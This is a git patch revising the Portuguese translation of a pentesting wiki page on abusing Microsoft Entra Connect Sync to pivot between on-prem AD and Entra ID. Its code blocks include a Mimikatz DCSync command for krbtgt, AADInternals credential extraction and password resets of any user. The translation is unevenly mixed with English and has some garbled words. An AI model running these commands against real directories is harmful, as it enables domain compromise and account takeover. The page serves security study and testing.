From 0a1ef296cdeab1f9952ee2cce5461ebc39659c83 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 25 Aug 2025 21:25:37 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement --- .../az-connect-sync.md | 107 +++++++++--------- 1 file changed, 56 insertions(+), 51 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index a3e943cec..9325e7fd2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -2,63 +2,67 @@ {{#include ../../../banners/hacktricks-training.md}} -## Informações Básicas +## Informações básicas -[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Os serviços de sincronização do Microsoft Entra Connect (Microsoft Entra Connect Sync) são um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente local e o Microsoft Entra ID. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) é um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente on-premises e o Microsoft Entra ID. + +O serviço de sync consiste em dois componentes, o componente on-premises **Microsoft Entra Connect Sync** e o lado do serviço no Microsoft Entra ID chamado **Microsoft Entra Connect Sync service**. + +Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será o responsável pela sincronização a partir do lado do AD. -Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
-O **Connect Sync** é basicamente a maneira "antiga" de Azure para **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**: +O **Connect Sync** é basicamente a maneira "antiga" da Azure para **sincronizar usuários do AD para o Entra ID.** A nova forma recomendada é usar **Entra Cloud Sync**: {{#ref}} az-cloud-sync.md {{#endref}} -### Principais Contas Geradas +### Principais Principais Gerados -- A conta **`MSOL_`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**. -- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local. -- Uma conta de serviço gerenciada **`ADSyncMSA`** é criada no AD local sem privilégios especiais por padrão. -- No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_`** é criado com um certificado. +- A conta **`MSOL_`** é criada automaticamente no AD on-prem. Esta conta recebe a role **Directory Synchronization Accounts** (veja a [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) o que significa que ela tem **permissões de replicação (DCSync) no AD on-prem**. +- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio on-premise. +- Uma managed service account **`ADSyncMSA`** é criada no AD on-prem sem privilégios padrão especiais. +- No Entra ID o Service Principal **`ConnectSyncProvisioning_ConnectSync_`** é criado com um certificado. -## Sincronizar Senhas +## Sincronizar senhas -### Sincronização de Hash de Senha +### Password Hash Synchronization -Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário permitir a sincronização de hash de senha no agente Microsoft Entra Connect Sync instalado em um servidor AD. +Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário habilitar a password hash synchronization no agente Microsoft Entra Connect Sync instalado em um servidor AD. -[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** é um dos métodos de sign-in usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância on-premises do Active Directory para uma instância baseada em nuvem do Azure AD. -Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD. +Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do on-prem para o Azure AD. Entretanto, **senhas em texto claro** ou os **hashes originais** não são enviados para o Azure AD. -A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. +A **sincronização dos hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Então, um usuário cuja **senha on-prem expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. -Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**. +Quando um usuário on-prem deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**. > [!NOTE] -> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**. +> Por padrão, usuários de grupos privilegiados conhecidos como Domain Admins com o atributo **`adminCount` para 1 não são sincronizados** com o Entra ID por razões de segurança. Entretanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que receberam altos privilégios diretamente **podem ser sincronizados**. -### Escrita de Senha -Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Observe que, para a escrita de senha funcionar, o usuário `MSOL_` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**. +### Password Writeback -Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário. +Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Note que para o password writeback funcionar o usuário `MSOL_` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**. -Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que receberam privilégios altos dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo: +Isto é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário. -- Usuários atribuídos a privilégios altos diretamente. +Domain admins e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o atributo **`adminCount` para 1**. Mas outros usuários que receberam altos privilégios dentro do AD sem pertencer a qualquer um desses grupos podem ter sua senha alterada. Por exemplo: + +- Usuários com privilégios elevados atribuídos diretamente. - Usuários do grupo **`DNSAdmins`**. -- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram. +- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e os atribuíram a OUs poderão modificar os GPOs que criaram. - Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory. -- Usuários de qualquer outro grupo com altos privilégios sem o **atributo `adminCount` igual a 1**. +- Usuários de qualquer outro grupo com altos privilégios sem o atributo **`adminCount` para 1**. ## Pivotando AD --> Entra ID ### Enumerando Connect Sync -Verifique os usuários: +Verificar usuários: ```bash # Check for the users created by the Connect Sync Install-WindowsFeature RSAT-AD-PowerShell @@ -76,25 +80,25 @@ $searcher.FindAll() $searcher.Filter = "(samAccountName=Sync_*)" $searcher.FindAll() ``` -Verifique a **configuração do Connect Sync** (se houver): +Verifique a **Connect Sync configuração** (se houver): ```bash az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" # Check if password sychronization is enabled, if password and group writeback are enabled... ``` -### Encontrando as senhas +### Finding the passwords -As senhas do **`MSOL_*`** usuário (e do **Sync\_\*** usuário, se criado) estão **armazenadas em um servidor SQL** no servidor onde **Entra ID Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\ +As senhas do **`MSOL_*`** user (e do usuário **Sync\_\*** se criado) são **stored in a SQL server** no servidor onde **Entra ID Connect is installed.** Administradores podem extrair as senhas desses usuários privilegiados em clear-text.\ O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -É possível extrair a configuração de uma das tabelas, sendo uma criptografada: +É possível extrair a configuração de uma das tabelas, sendo uma delas criptografada: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível realizar privesc para o AD e para o AzureAD. +A **encrypted configuration** está criptografada com **DPAPI** e contém as **passwords of the `MSOL_*`** user no on-prem AD e a password do **Sync\_\*** no AzureAD. Portanto, comprometendo essas credenciais é possível privesc para o AD e para o AzureAD. -Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Você pode encontrar uma [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Abusando do MSOL\_* +### Abusando de MSOL\_\* ```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version @@ -112,11 +116,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!WARNING] -> Ataques anteriores comprometeram a outra senha para então conectar ao usuário do Entra ID chamado `Sync_*` e, em seguida, comprometer o Entra ID. No entanto, esse usuário não existe mais. +> Ataques anteriores comprometeram a outra senha para então se conectar ao usuário Entra ID chamado `Sync_*` e depois comprometer o Entra ID. No entanto, esse usuário não existe mais. -### Abusando ConnectSyncProvisioning_ConnectSync\_ -Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, possui as seguintes permissões de API: +### Abusar ConnectSyncProvisioning_ConnectSync\_ + +Esta aplicação é criada sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, ela tem as seguintes permissões de API: - Microsoft Entra AD Synchronization Service - `ADSynchronization.ReadWrite.All` @@ -125,21 +130,21 @@ Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra - `PasswordWriteback.RefreshClient.All` - `PasswordWriteback.RegisterClientVersion.All` -É mencionado que o SP deste aplicativo ainda pode ser usado para realizar algumas ações privilegiadas usando uma API não documentada, mas nenhuma PoC foi encontrada até onde sei.\ -De qualquer forma, pensando que isso pode ser possível, seria interessante explorar mais a fundo como encontrar o certificado para fazer login como este principal de serviço e tentar abusar dele. +Menciona-se que o SP desta aplicação ainda pode ser usado para executar algumas ações privilegiadas usando uma API não documentada, mas nenhum PoC foi encontrado até onde sei. +De qualquer forma, considerando que isso pode ser possível, seria interessante explorar mais como encontrar o certificado para efetuar login como este service principal e tentar abusar dele. -Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi lançado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP. +Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), publicado logo depois da troca do uso do usuário `Sync_*` para este service principal, explicou que o certificado era armazenado dentro do servidor e que era possível encontrá-lo, gerar um PoP (Proof of Possession) dele e graph token, e com isso, conseguir adicionar um novo certificado ao service principal (porque um **service principal** pode sempre atribuir a si mesmo novos certificados) e então usá-lo para manter persistência como o SP. -Para realizar essas ações, as seguintes ferramentas estão publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). +Para realizar essas ações, as seguintes ferramentas foram publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). -Na minha experiência, o certificado não está mais armazenado no local onde a ferramenta anterior estava procurando, e, portanto, a ferramenta não funciona mais. Assim, mais pesquisas podem ser necessárias. +De acordo com [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), para encontrar o certificado, você deve executar a ferramenta a partir de um processo que tenha **roubado o token do processo `miiserver`**. -### Abusando Sync\_\* [DEPRECATED] +### Abusar Sync\_\* [DEPRECATED] > [!WARNING] -> Anteriormente, um usuário chamado `Sync_*` foi criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia realizar ações privilegiadas, como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um principal de serviço. No entanto, a partir de jan2025, esse usuário não é mais criado por padrão, pois agora o Aplicativo/SP **`ConnectSyncProvisioning_ConnectSync_`** é usado. No entanto, ele ainda pode estar presente em alguns ambientes, então vale a pena verificar. +> Anteriormente, um usuário chamado `Sync_*` era criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia executar ações privilegiadas como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um service principal. No entanto, desde Jan2025 esse usuário não é mais criado por padrão, pois agora a Application/SP **`ConnectSyncProvisioning_ConnectSync_`** é usada. Ainda assim, ele pode estar presente em alguns ambientes, então vale a pena verificá-lo. -Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais) +Comprometendo a **`Sync_*`** account é possível **resetar a senha** de qualquer usuário (incluindo Global Administrators) ```bash Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version Import-Module AADInternals @@ -163,7 +168,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado) +Também é possível **modificar apenas as senhas dos usuários cloud** (mesmo que isso seja inesperado) ```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -172,23 +177,23 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -É também possível extrair a senha deste usuário. +Também é possível fazer o dump da senha deste usuário. > [!CAUTION] -> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc. +> Outra opção seria **atribuir permissões privilegiadas a um service principal**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse service principal** como forma de privesc. -### SSO Sem Costura +### Seamless SSO -É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Verifique em: +É possível usar Seamless SSO com PHS, que é vulnerável a outros abusos. Confira em: {{#ref}} az-seamless-sso.md {{#endref}} -## Pivotando Entra ID --> AD +## Pivoting Entra ID --> AD -- Se a gravação de senha estiver habilitada, você pode **modificar a senha de qualquer usuário no AD** que está sincronizado com Entra ID. -- Se a gravação de grupos estiver habilitada, você pode **adicionar usuários a grupos privilegiados** no Entra ID que estão sincronizados com o AD. +- If password writeback is enabled, you can **modify the password of any user in the AD** that is synchronized with Entra ID. +- If groups writeback is enabled, you can **add users to privileged groups** in Entra ID that are synchronized with the AD. ## Referências